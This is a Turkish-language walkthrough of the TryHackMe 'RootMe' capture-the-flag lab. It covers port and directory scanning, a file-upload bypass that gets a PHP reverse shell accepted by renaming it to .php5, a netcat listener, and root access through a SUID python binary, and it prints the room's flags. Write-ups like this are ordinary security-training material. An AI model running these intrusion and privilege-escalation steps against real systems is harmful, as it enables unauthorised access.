RootMe
Bölüm 1 - Reconnaissance
- Makineyi tarayın, kaç tane port açık?
Öncelikle nmap taraması başlatalım.
1
2
┌──(root@r3tr0)-[/home/kali/Desktop/ctf/RootMe]
└─# nmap -T5 -p- -v -sV 10.10.155.83
Göründüğü gibi 22 ve 80 portu açık. Cevap: 2
- Çalışan Apache versiyonu nedir?
2.4.29
- 22 portunda çalışan servis nedir?
ssh
- Gizli dizin nedir?
Gobuster çalıştırarak gizli dizini bulalım.
1
2
┌──(root㉿r3tr0)-[/home/kali/Desktop/ctf/RootMe]
└─# gobuster dir --url http://10.10.178.135 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,php,html -t 60
/panel/
Bölüm 2 - Getting a Shell
Önce bulduğumuz gizli dizine gidelim.
Php reverse shell komut dosyası kullanılarak bağlantı sağlanılabilir. Bunun için pentest monkey’in php reverse shell kodunu kullandım. Dosya yüklenmek istendiğinde izin verilmiyor.
Dosya adı uzantısı değiştirilerek file upload bypass işlemi yapılabilir. Bu yüzden php-reverse-shell.php dosyasının adı php-reverse-shell.php5 yapıldığında yükleme işlemi başarı ile gerçekleşiyor.
Yükleme işlemi yapmadan önce dosyayı açıp kendi ip adresinizi ve dinlemek istediğiniz portu girmelisiniz.
Dosyayı yükledikten sonra netcat çalıştırıyoruz.
1
2
┌──(root㉿r3tr0)-[/home/kali/Desktop/ctf/RootMe]
└─# nc -nvlp 1234
http://10.10.178.135/uploads/ a giderek yüklediğimiz dosyayı çalışıyoruz ve shellimizi alıyoruz.
python -c ‘import pty;pty.spawn(“/bin/bash”)’
ile bağlantı stabil hale getirelim.
cat /var/www/user.txt ile user flag’ı görüntüleyebiliriz.
THM{y0u_g0t_a_sh3ll}
Bölüm 3 - Privilege escalation
find / -user root -perm /4000
ile root yetkisi edilecek dosyalar araştıralım.
Burada /usr/bin/python dikkatimi çekti. GTFOBins sayfasında python üzerinden yetki yükseltme ile ilgili komut bulunuyor.
python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’ komutu ile yetkimizi yükseltelim.
Ardından cat /root/root.txt komutu ile root bayrağına ulaşalım.
THM{pr1v1l3g3_3sc4l4t10n}